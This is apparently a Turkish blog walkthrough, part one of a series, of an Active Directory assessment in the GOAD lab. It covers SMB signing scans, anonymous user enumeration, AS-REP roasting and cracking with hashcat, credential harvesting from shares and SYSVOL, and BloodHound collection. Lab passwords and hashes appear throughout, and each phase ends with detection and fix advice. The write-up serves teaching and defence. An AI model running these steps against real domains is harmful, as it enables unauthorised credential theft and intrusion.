GOAD Bölüm 1: Sıfır Kimlik Bilgisinden Saldırı Grafiğine

Series · 4 partsAssessing Active DirectoryPart 1 · You are here

1. 1GOAD Bölüm 1: Sıfır Kimlik Bilgisinden Saldırı GrafiğineYou are here
2. 2GOAD Bölüm 2: NORTH Domain Controller'ını Ele Geçirmek
3. 3GOAD Bölüm 3: ACL Zincirinde Orman Köküne Tırmanmak
4. 4GOAD Bölüm 4: Orman Güvenini Aşarak essos.local'i Ele Geçirmek

Bu seri için GOAD’ı neden kurdum

Tek DC’li pratik makineler derslerini hızla tüketir. Gerçek değerlendirmelerde Active Directory genellikle güvenler, delegasyon, sertifika servisleri, GPO izinleri ve ACL zincirleri üzerinden kırılır. Bu ilişkileri ancak birden fazla etki alanı devreye girdiğinde görürsün. Bu seriyi Orange Cyberdefense’in GOAD (Game of Active Directory) projesi etrafında kurdum; çünkü tek ağda iki ormanı, üç etki alanını ve beş sunucuyu bir araya getiriyor. Bu da tek tek makinelerde görünmeyen bağları çok daha net biçimde görünür kılıyor. Seri boyunca aynı laboratuvarı, aynı hesapları ve aynı ağ aralığını kullanıyorum; böylece bir bölümde bulduğumuz bir kimlik bilgisinin sonraki bölümde nereye bağlandığını takip etmek kolaylaşıyor. Amaç yalnızca komut göstermek değil, bir saldırının aşamalarını ve her aşamanın savunma tarafında bıraktığı izi birlikte okumak.

Bu notlar boyunca iki alışkanlığa bağlı kaldım. İlki, SMB, LDAP, Kerberos, MSSQL ve WinRM için tek bir sözdizimi verdiğinden varsayılan olarak NetExec (nxc) kullanıyorum; belirli bir adımda başka bir araç daha uygun olduğunda ona geçiyorum. İkincisi, çıktının hemen altına her adımı nasıl tespit edeceğimizi ve nasıl düzelteceğimizi yazıyorum. Parola çalmak işin yalnızca yarısıdır; hangi logu bıraktığını ve hangi ayarın deliği kapattığını bilmek, bir denetimde gerçekten işe yarayan kısımdır. Kontrol listem S1ckB0y1337 AD Exploitation cheat sheet ve HackTricks üzerinden ilerliyor; böylece temelleri atlamıyorum.

Bu ilk bölümde, 192.168.56.0/24 laboratuvar ağına routed (bridged değil) bağlı Kali makinemden (ghost@kali) sıfır kimlik bilgisiyle başlıyorum. İlk iş hangi hostların var olduğunu bulmak ve bu keşif adımı çoğu yazının atladığı bir dersi öğretiyor. Oradan üç etki alanında geçerli hesaplara ve tam bir BloodHound çizgesine ulaşıyorum. İki ormanın, dizin bölümlerinin, trustedDomain nesnelerinin, DNS yönlendiricilerinin ve servis katmanlarının kırılmadan önce nasıl bağlandığına bakmak istersen ayrı bir not yazdım: Multi-Forest Active Directory Architecture: How Forests, Trusts, DNS, and Tiered Services Actually Work.

Laboratuvar temel çizgisi ve savunma durumu

Resmi GOAD dokümantasyonu, 192.168.56.0/24 subnet’i üzerinde iki ormana ve üç etki alanına yayılan beş Windows sunucusu tanımlar:

[!NOTE] GOAD mimarisinde Windows Defender, web kabuğu ve SQL istismarlarının yerel AV engeline takılmadan çalıştırılabilmesi için castelblack (SRV02) üzerinde kasıtlı olarak devre dışı bırakılmıştır. Buna karşılık üç Domain Controller’da da Defender etkindir; bu da bellekte yürütülen Kerberos bilet saldırılarının ve LDAP sorgularının diskte hiçbir AV alarmı üretmediğini doğrulamak için ideal bir ortam sunar.

Başlangıç vektörleri ve senaryo haritası

Laboratuvardaki her kullanıcı hesabı, Active Directory’de sık karşılaşılan belirli bir zafiyet primitifine karşılık gelecek şekilde kurgulanmıştır:

Faz 1: Host keşfi ve SMB imzalama

Hedef laboratuvar ağına (192.168.56.0/24) route eklenmiş bir Kali makinesinden sıfır kimlik bilgisiyle başlarken ilk adım, aktif hostları belirlemektir. Yönlendirilmiş (routed) bir ağ üzerinden eriştiğimiz için Katman 3 ICMP taraması olarak fping kullanıyoruz:

$ fping -ag 192.168.56.0/24 2>/dev/null
192.168.56.1
192.168.56.10
192.168.56.11
192.168.56.12
192.168.56.22
192.168.56.23

Altı adres yanıt veriyor. .1 gateway; diğer beşi ise ilgilendiğimiz hedef Windows sistemleri.

Beş canlı host elimizdeyken sıradaki soru hangilerinin Windows, hangilerinin Domain Controller olduğu ve SMB imzalamanın nerede kapalı olduğu. Tek bir kimlik doğrulamasız nxc smb taraması üçünü de yanıtlar:

$ nxc smb 192.168.56.10 192.168.56.11 192.168.56.12 192.168.56.22 192.168.56.23
SMB  192.168.56.12  445  MEEREEN       [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN)      (domain:essos.local)                   (signing:True)  (SMBv1:True)  (Null Auth:True)
SMB  192.168.56.23  445  BRAAVOS       [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS)      (domain:essos.local)                   (signing:False) (SMBv1:True)
SMB  192.168.56.11  445  WINTERFELL    [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL)            (domain:north.sevenkingdoms.local)     (signing:True)  (SMBv1:None) (Null Auth:True)
SMB  192.168.56.22  445  CASTELBLACK   [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK)           (domain:north.sevenkingdoms.local)     (signing:False) (SMBv1:None)
SMB  192.168.56.10  445  KINGSLANDING  [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)          (domain:sevenkingdoms.local)           (signing:True)  (SMBv1:None) (Null Auth:True)

Ardından Domain Controller’ları üye sunuculardan ayırmak için hızlı bir TCP port taraması yapıyorum:

$ nmap -Pn -sT -p 53,80,88,135,139,389,445,464,636,1433,3268,3389,5985,9389 --open 192.168.56.10-23 -oG -
Host: 192.168.56.10  Ports: 53, 80, 88, 135, 139, 389, 445, 464, 636, 3268, 3389, 5985, 9389
Host: 192.168.56.11  Ports: 53,     88, 135, 139, 389, 445, 464, 636, 3268, 3389, 5985, 9389
Host: 192.168.56.12  Ports: 53, 80, 88, 135, 139, 389, 445, 464, 636, 3268, 3389, 5985, 9389
Host: 192.168.56.22  Ports:     80, 135, 139, 445, 1433, 3389, 5985
Host: 192.168.56.23  Ports:     80, 135, 139, 445, 1433, 3389, 5985

88 (Kerberos), 389/636 (LDAP/LDAPS), 3268 (Global Catalog) ve 9389 (AD Web Services) dinleyen hostlar bizim üç Domain Controller’ımız (.10, .11, .12). Hem .10 hem .12 bir DC üzerinde 80/tcp açık; bu genellikle AD CS Web Enrollment’a işaret eder ve sertifika şablonlarına baktığımızda önemli olacak. İki üye sunucu (.22 ve .23) 1433 üzerinde MSSQL çalıştırıyor. En önemlisi, CASTELBLACK (.22) ve BRAAVOS (.23) signing:False döndürüyor; yani zorlanmış ya da zehirlenmiş herhangi bir NTLM kimlik doğrulaması doğrudan onlara relay edilebilir. Bu, henüz tek bir parola bulmadan potansiyel bir yanal hareket yolu olduğu anlamına gelir. İmzalama zorunlu olmadığında, bir saldırgan başka bir makineden gelen NTLM kimlik doğrulamasını yakalayıp doğrudan bu sunuculara iletebilir; bu yüzden signing:False satırı, ilerideki bir adımın habercisi olarak not edilmelidir. Aynı çıktıdaki Null Auth:True bilgisi de anonim oturumların kabul edildiğini gösterir, ama bunun SAMR sorgularına da izin verdiği anlamına gelmez; bunu birazdan ayrıca test edeceğiz.

Tespit: Kendi filonda SMB imzalama durumunu Get-SmbServerConfiguration veya periyodik bir tarama ile kontrol edebilir, imzalamanın zorunlu olmadığı sunuculara gelen NTLM kimlik doğrulamalarına alarm verebilirsin.

Kontrol: Tüm üye sunucularda Microsoft network server: Digitally sign communications (always) ayarını GPO ile etkinleştir, SMBv1’i devre dışı bırak (MEEREEN ve BRAAVOS’ta hâlâ etkin) ve Kerberos’un kullanılabildiği yerde NTLM’i kısıtla.

Faz 2: Ormanları ve güvenleri haritalamak

SMB banner’ları bize üç DNS adı verdi (sevenkingdoms.local, north.sevenkingdoms.local ve essos.local), ama etki alanı adları tek başına dizinin nasıl yapılandığını kanıtlamaz. Gerçek topolojiyi doğrulamak için DNS SRV kayıtlarını ve LDAP RootDSE’yi kontrol ediyorum:

$ for d in sevenkingdoms.local north.sevenkingdoms.local essos.local; do
    echo "=== $d ==="; dig @192.168.56.10 _ldap._tcp.dc._msdcs.$d SRV +short; done
=== sevenkingdoms.local ===
0 100 389 kingslanding.sevenkingdoms.local.
=== north.sevenkingdoms.local ===
0 100 389 winterfell.north.sevenkingdoms.local.
=== essos.local ===
0 100 389 meereen.essos.local.

192.168.56.10’un essos.local’i hemen çözdüğüne dikkat et. İzole bir orman, birisi conditional forwarder yapılandırmadıkça başka bir ormanın iç bölgesini çözemez; bu da ormanlar arası güven kurulumundan önce gerekir. Koşullu yönlendirici yoksa güven yapılandırılmış olsa bile istemci karşı tarafın DC’sini bulamaz; bu yüzden DNS kayıtları, güvenin “çalışıp çalışmadığını” anlamanın ilk kanıtıdır. Üç DC’de RootDSE sorgulamak, bölümlerin nasıl hizalandığını doğrular:

$ for ip in 192.168.56.10 192.168.56.11 192.168.56.12; do
    echo "=== $ip ==="; ldapsearch -x -H ldap://$ip -b "" -s base \
      defaultNamingContext rootDomainNamingContext | grep -E "^(default|root)"; done
=== 192.168.56.10 ===
defaultNamingContext: DC=sevenkingdoms,DC=local
rootDomainNamingContext: DC=sevenkingdoms,DC=local
=== 192.168.56.11 ===
defaultNamingContext: DC=north,DC=sevenkingdoms,DC=local
rootDomainNamingContext: DC=sevenkingdoms,DC=local
=== 192.168.56.12 ===
defaultNamingContext: DC=essos,DC=local
rootDomainNamingContext: DC=essos,DC=local

.11’de defaultNamingContext (DC=north,DC=sevenkingdoms,DC=local) ile rootDomainNamingContext (DC=sevenkingdoms,DC=local) farklıdır. Bu, north’un .10 ile aynı ormanı, Schema’yı ve Configuration bölümlerini paylaşan bir alt etki alanı olduğunu doğrular. Alt etki alanını ele geçirmek bizi orman köküyle aynı güvenlik sınırına sokar; yani burada durmak, üst tarafı güvende sanmak anlamına gelmez. Öte yandan .12 kendi orman köküdür (DC=essos,DC=local) ve ormanlar arası bir güvenle bağlıdır. Bu ayrım, sonraki adımlarda hangi hesabın hangi sınırı aşabildiğini anlamak için kritik: north içinden gelen bir kimlik, üst ormanın kaynaklarına erişebilir; ama essos tarafına geçerken SID filtering gibi ek kurallar devreye girer. Yani “üç etki alanı” demek, “üç ayrı güvenlik bölgesi” demek değildir.

Tespit: RootDSE sorguları, istemcilerin oturum açmadan önce bir DC bulabilmesi için tasarım gereği kimlik doğrulamasızdır. Bunu bir DC logunda yakalayamazsın; bu bir ağ segmentasyonu meselesidir.

Kontrol: LDAP ve Global Catalog portlarını (389/636/3268) güvenilmeyen ağlardan kısıtla ve gerçek güvenlik sınırı olarak her zaman ormanı (tek tek etki alanını değil) ele al. Bu aynı zamanda raporlama açısından da doğru çerçeveyi verir: bir alt etki alanındaki bulgu, orman köküne etkisi belirtilmeden “düşük risk” olarak kapatılmamalıdır.

Faz 3: Kimlik doğrulamasız kullanıcı numaralandırma

Faz 1’de nxc üç DC’de de Null Auth:True bildirdi, ama anonim SMB oturumuna izin vermek, anonim SAMR sorgularına izin vermekle aynı şey değildir. Hangisinin hesap listesini sızdırdığını görmek için üç DC’yi de --users ile test ediyorum:

$ nxc smb 192.168.56.10 192.168.56.11 192.168.56.12 -u '' -p '' --users
SMB  192.168.56.10  445  KINGSLANDING  [+] sevenkingdoms.local\:
SMB  192.168.56.11  445  WINTERFELL    [+] north.sevenkingdoms.local\:
SMB  192.168.56.12  445  MEEREEN       [+] essos.local\:
SMB  192.168.56.11  445  WINTERFELL    -Username-      -Last PW Set-        -BadPW-  -Description-
SMB  192.168.56.11  445  WINTERFELL    Guest           <never>              0        Built-in account for guest access to the computer/domain
SMB  192.168.56.11  445  WINTERFELL    arya.stark      2026-11-03 13:30:26  0        Arya Stark
SMB  192.168.56.11  445  WINTERFELL    sansa.stark     2026-11-03 13:30:44  0        Sansa Stark
SMB  192.168.56.11  445  WINTERFELL    brandon.stark   2026-11-03 13:30:48  0        Brandon Stark
SMB  192.168.56.11  445  WINTERFELL    rickon.stark    2026-11-03 13:30:52  0        Rickon Stark
SMB  192.168.56.11  445  WINTERFELL    hodor           2026-11-03 13:30:56  0        Brainless Giant
SMB  192.168.56.11  445  WINTERFELL    jon.snow        2026-11-03 13:30:59  0        Jon Snow
SMB  192.168.56.11  445  WINTERFELL    samwell.tarly   2026-11-03 13:31:03  0        Samwell Tarly (Password : Heartsbane)
SMB  192.168.56.11  445  WINTERFELL    jeor.mormont    2026-11-03 13:31:06  0        Jeor Mormont
SMB  192.168.56.11  445  WINTERFELL    sql_svc         2026-11-03 13:31:10  0        sql service
SMB  192.168.56.11  445  WINTERFELL    [*] Enumerated 10 local users: NORTH

KINGSLANDING ve MEEREEN null bind’i kabul ediyor ama SAMR sorgusunu engelliyor. Öte yandan WINTERFELL (.11), tek bir giriş denemesi bile yapmadan on NORTH hesabının tamamını veriyor; bu yüzden badPwdCount sıfır kalıyor. Tam da samwell.tarly’nin description alanında birisi (Password : Heartsbane) bırakmış. Bu, teknik bir açıktan çok bir süreç hatasıdır: parola bir hesabın açıklama alanına yazılmış ve tüm etki alanına okunur hâle gelmiş. Zayıf parola tekrarı da burada devreye giriyor: hodor gibi bir hesabın kullanıcı adıyla aynı parolayı taşıması, deneme yanılma maliyetini neredeyse sıfıra indirir. hodor’u da kendi kullanıcı adıyla parola olarak test ediyorum; ikisi de çalışıyor:

$ nxc smb 192.168.56.11 -u samwell.tarly -p Heartsbane
SMB  192.168.56.11  445  WINTERFELL  [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
$ nxc smb 192.168.56.11 -u hodor -p hodor
SMB  192.168.56.11  445  WINTERFELL  [+] north.sevenkingdoms.local\hodor:hodor

Tespit: Anonim SAMR numaralandırma, DC’de anonim oturum açma oturumundan Event ID 4661 ve 4662 tetikler. Description alanlarına bırakılan parolalar, description ve info içinde pass veya pwd gibi dizeleri arayan basit bir LDAP denetimiyle yakalanabilir.

Kontrol: RestrictAnonymous = 1 ve RestrictAnonymousSAM = 1 ayarla (ve Everyone ile Anonymous Logon’u Network access: Let Everyone permissions apply to anonymous users ayarından çıkar) ve AD nesne açıklamalarından tüm kimlik bilgilerini temizle.

Faz 4: AS-REP Roasting

Bir hesapta Do not require Kerberos pre-authentication (UF_DONT_REQUIRE_PREAUTH) etkinse, parolayı bilmeden KDC’den bir AS-REP yanıtı istenebilir ve yanıtın şifreli kısmı çevrimdışı kırılabilir (MITRE T1558.004). NORTH kullanıcı listesini ve kısa bir ESSOS isim listesini impacket-GetNPUsers’a besliyorum:

$ impacket-GetNPUsers north.sevenkingdoms.local/ -dc-ip 192.168.56.11 -usersfile north_users.txt -no-pass -format hashcat
[-] User arya.stark doesn’t have UF_DONT_REQUIRE_PREAUTH set
[-] User sansa.stark doesn’t have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$brandon[email protected]:f5783d384b0334dd573619ab77cf9694$5241...<snip>
[-] User jon.snow doesn’t have UF_DONT_REQUIRE_PREAUTH set
...

$ impacket-GetNPUsers essos.local/ -dc-ip 192.168.56.12 -usersfile essos_users.txt -no-pass -format hashcat
$krb5asrep$23$missandei@ESSOS.LOCAL:c80486622b4c57e0d168338333c1e4f7$23f3...<snip>

Her iki yanıt da RC4 (etype 23) ile şifreli geliyor; yani KDC bunları doğrudan hesabın NT hash’iyle şifrelemiş. hashcat’i rockyou.txt ile çalıştırmak ikisini de saniyeler içinde kırıyor. Buradaki hız farkı önemlidir: yavaş hash türlerinde aynı işlem saatler sürebilirken, RC4 tabanlı AS-REP yanıtları zayıf parolalarda çok hızlı düşer:

$ hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
$krb5asrep$23$brandon[email protected]:...:iseedeadpeople
$krb5asrep$23$missandei@ESSOS.LOCAL:...:fr3edom

Bu bize NORTH’ta brandon.stark : iseedeadpeople ve ESSOS’ta missandei : fr3edom veriyor; yani ikinci ormana hiç giriş yapmadan orada geçerli bir hesap elde ediyoruz. Pre-auth kapalı tek bir hesap, bütün bir ormanın kapısını aralayabilir. Buradaki kritik nokta, saldırının hedef sistemde bir oturum açma denemesi bırakmamasıdır: KDC yalnızca istenen yanıtı üretir, parola denemesi sayacı artmaz ve hesap kilitlenmez. Savunma tarafı için bu, “başarısız giriş yok” demenin “saldırı yok” anlamına gelmediğinin tipik bir örneğidir.

Tespit: Pre-authentication’sız bir AS-REQ, Pre-Authentication Type 0 ile Event ID 4768 loglar. Normal bir kullanıcı hesabı için gelen her pre-auth type 0 isteği alarm verilmeye değer.

Kontrol: Tüm kullanıcı hesaplarından UF_DONT_REQUIRE_PREAUTH ayarını kaldır. Bir eski uygulama gerçekten gerektiriyorsa, o hesaba rastgele 25+ karakterlik bir parola ata.

Faz 5: SMB paylaşımlarında ve SYSVOL’da kimlik bilgisi avı

Tek bir çalışan hesabım (samwell.tarly) olunca, beş hostta hangi SMB paylaşımlarını okuyup yazabildiğini kontrol ediyorum:

$ nxc smb 192.168.56.10 192.168.56.11 192.168.56.12 192.168.56.22 192.168.56.23 \
    -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local --shares
SMB  192.168.56.10  445  KINGSLANDING  [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB  192.168.56.23  445  BRAAVOS       [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB  192.168.56.22  445  CASTELBLACK   all          READ,WRITE   Basic RW share for all
SMB  192.168.56.22  445  CASTELBLACK   public       READ,WRITE   Basic Read share for all domain users
SMB  192.168.56.23  445  BRAAVOS       all          READ,WRITE   Basic RW share for all
SMB  192.168.56.23  445  BRAAVOS       CertEnroll   READ         Active Directory Certificate Services share
SMB  192.168.56.10  445  KINGSLANDING  CertEnroll   READ         Active Directory Certificate Services share

NORTH’tan samwell.tarly’nin essos.local’deki BRAAVOS’a kimlik doğrulaması, ormanlar arası güvenin aktif olduğunu doğrular. İki CertEnroll paylaşımı da her iki ormanın Active Directory Certificate Services çalıştırdığını doğrular ve AD CS’yi sonraki bölümlerde ayrıca inceleyeceğimizi gösterir. \\castelblack\all içine ve winterfell’deki SYSVOL scripts klasörüne bakmak üç dosya daha çıkarır:

$ smbclient //192.168.56.22/all -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" -c "get arya.txt -"
... I left a little surprise for you in your room - the sword You’ve named "Needle." ...

$ smbclient //192.168.56.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
    -c 'get north.sevenkingdoms.local\scripts\script.ps1 -'
$user = "NORTH\jeor.mormont"
$password = "_L0ngCl@w_"

$ smbclient //192.168.56.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
    -c 'get north.sevenkingdoms.local\scripts\secret.ps1 -'
# secret stored :
$keyData = 177, 252, 228, 64, 28, 91, 12, 201, 20, 91, 21, 139, 255, 65, 9, 247, ...
$secret  = "76492d1116743f0423413b16050a5345MgB8AGkAcwBDACsAUwAr...<snip>"
# T.L.

Her dosya bize bir kimlik bilgisi seti daha verir:

1. arya.txt Needle kılıcından bahseder ve arya.stark : Needle kombinasyonunu .11 üzerinde test etmek başarılı olur.
2. script.ps1 içinde jeor.mormont : _L0ngCl@w_ düz metin olarak gömülüdür.
3. secret.ps1 bir PowerShell SecureString kullanır, ama 32 baytlık AES anahtarı ($keyData) $secret’ın hemen üstünde durur. pwsh içinde ConvertTo-SecureString -Key $keyData ile çözmek powerkingftw135 değerini verir ve # T.L. yorumu ana etki alanı sevenkingdoms.local’deki tywin.lannister’a işaret eder.

Bu üç bulgu, kimlik bilgilerinin yalnızca parola kasalarında değil, betiklerde, açıklama alanlarında ve paylaşımlarda da yaşadığını gösteriyor. Özellikle secret.ps1 örneği, şifrelemenin tek başına yeterli olmadığını anlatır: anahtar aynı dosyada durduğunda SecureString yalnızca bir gizleme katmanıdır, koruma değil. Bir betiği okuyabilen herkes, anahtarı da okuyabilir ve şifreli değeri çözebilir. Üstelik SYSVOL her etki alanı üyesi tarafından okunabildiği için bu tür bir sır, ayrıcalıklı olmayan tek bir hesapla tüm ormana yayılabilir. Bu yüzden erişim izinlerini daraltmak tek başına yeterli değildir; sırların dosyalardan tamamen çıkarılması ve merkezi bir sır yönetimi çözümüne taşınması gerekir.

Tespit: SYSVOL ve NETLOGON her etki alanı üyesi tarafından okunabilir olmak zorunda olduğundan yalnızca okuma erişimine alarm veremezsin. Bunun yerine bu klasörleri gömülü kimlik bilgisi, ConvertTo-SecureString veya AES anahtar dizileri için düzenli tara ve yazılabilir paylaşımları şüpheli dosyalar için izle.

Kontrol: Oturum açma betiklerini ve zamanlanmış görevleri gömülü kimlik bilgilerinden gMSA’lara taşı. all ve public gibi paylaşımlardan Domain Users yazma izinlerini kaldır; çünkü herkesin yazabildiği bir paylaşım, saldırganın klasörü gezen herkesten NTLM hash’i zorlamak için .scf veya .url dosyası bırakmasına olanak tanır.

Faz 6: BloodHound ile saldırı yüzeyini haritalamak

Bu noktada üç etki alanında da çalışan kimlik bilgilerim var. Kullanıcıları, grupları, bilgisayarları, ACL’leri, SPN’leri, delegasyon ayarlarını ve güvenleri LDAP’tan çekmek için bloodhound-ce-python çalıştırıyorum:

$ bloodhound-ce-python -c All -u samwell.tarly -p Heartsbane \
    -d north.sevenkingdoms.local -ns 192.168.56.10 --zip
INFO: Found AD domain: north.sevenkingdoms.local
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 17 users, 51 groups, 2 computers, 1 trust
INFO: Compressing output into 20261103_bloodhound.zip

Aynı koleksiyonu sevenkingdoms.local ve essos.local için de çalıştırıp zip dosyalarını BloodHound CE’ye içe aktardıktan sonra ele geçirdiğimiz hesapları Owned olarak işaretliyorum. tywin.lannister’dan orman kökü DC’ye en kısa yolu sorgulamak, Bölüm 3’te adım adım yürüyeceğimiz sekiz adımlı bir ACL zincirini ortaya koyar:

Bunların hiçbiri keşif için yönetici hakkı gerektirmedi; Active Directory varsayılan olarak Authenticated Users’ın nesne güvenlik tanımlayıcılarını okumasına izin verir. Bu yüzden çizge, “elimde yönetici var mı?” sorusuna değil, “hangi sıradan hesap hangi ayrıcalıklı kaynağa hangi izinle bağlı?” sorusuna cevap verir. Çıktıyı okurken düğümlerden çok kenarlara bakmak gerekir; çünkü saldırıyı mümkün kılan şey genellikle düğümün kendisi değil, ona giden izindir. BloodHound ayrıca üç etki alanındaki her Kerberoast edilebilir ve AS-REP roast edilebilir hesabı listeler; bu da Bölüm 2 için hedeflerimizi belirler:

Tespit: BloodHound koleksiyonu, tüm nesne sınıflarında bir LDAP sorgu patlaması ve üye sunucularda SMB oturum numaralandırması üretir. Savunmacılar, yönetici olmayan iş istasyonlarından gelen ağır LDAP taramalarını (LDAP tanılama açıkken Event ID 1644 / 2889) izleyebilir. Tek bir koleksiyon bile normal bir kullanıcının davranışından belirgin biçimde ayrılır.

Kontrol: Active Directory’yi bozmadan LDAP okuma erişimini kapatamazsın; bu yüzden gerçek düzeltme saldırı yollarının kendisini budamaktır: sapmış ACL’leri (GenericAll, WriteDacl, WriteOwner) temizlemek, gereksiz delegasyon bayraklarını kaldırmak ve karışık grup üyeliklerini düzleştirmek.

Bulguların özeti

Sıradaki Bölüm 2’de

Her etki alanında çalışan hesaplar ve yüklenmiş BloodHound verisiyle, Bölüm 2 north.sevenkingdoms.local içine girip DC02’yi ele geçiriyor: jon.snow ve sql_svc’yi Kerberoast etmek, S4U2Self ve S4U2Proxy ile constrained delegation’ı istismar etmek ve samwell.tarly’nin sahip olduğu yazılabilir bir GPO üzerinden zamanlanmış görev enjekte etmek.

Kanıt ve sınırlar

Bu yazıdaki komut dökümleri ve BloodHound görüntüleri, lab kurulum notunda anlatılan izole GOAD örneğinden; temiz bir anlık görüntü ve etki alanı kimlik bilgisi olmayan bir Kali host ile başlayan çalışmadan gelir. Sonucu değiştirmeyen uzun hash’ler, şifreli blob’lar ve tekrarlı araç çıktıları kısaltıldı; zincirin denetlenebilmesi için başarılı ve başarısız kimlik doğrulama sinyalleri korundu.

GOAD zayıf parolaları, anonim erişimi, yazılabilir paylaşımları ve güvensiz ACL’leri bilerek içerir. Bunlar yöntemi gösterir, üretimdeki yaygınlıklarını değil. Hiçbir tarama veya kimlik doğrulama girişimi host-only laboratuvar ağının dışına çıkmadı ve gösterilen hesap ya da sırların hiçbiri gerçek bir kuruluşa ait değildir.

Referanslar

• Orange Cyberdefense, GOAD (Game of Active Directory): orange-cyberdefense.github.io/GOAD
• S1ckB0y1337, Active Directory Exploitation Cheat Sheet: github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
• HackTricks, Active Directory Methodology: book.hacktricks.xyz
• MITRE ATT&CK, AS-REP Roasting (T1558.004): attack.mitre.org/techniques/T1558/004
• RFC 4120, The Kerberos Network Authentication Service (V5): datatracker.ietf.org/doc/html/rfc4120
• Microsoft, Best Practices for Securing Active Directory: learn.microsoft.com

Kaynaklar ve güncellik

Bu teknik not ne kadar güncel?

Kontrol edilen kaynaklar2 Kasım 2026

En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.

İnceleme DurumuKamuya açık kaynaklar incelendi

Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.

Birincil referanslar

• orange-cyberdefense.github.io · GOAD ↗
• github.com · Active-Direc…on-Cheat-Sheet ↗
• book.hacktricks.xyz · active-directory-methodology ↗
• attack.mitre.org · 004 ↗
• datatracker.ietf.org · rfc4120 ↗
• learn.microsoft.com · best-practic…tive-directory ↗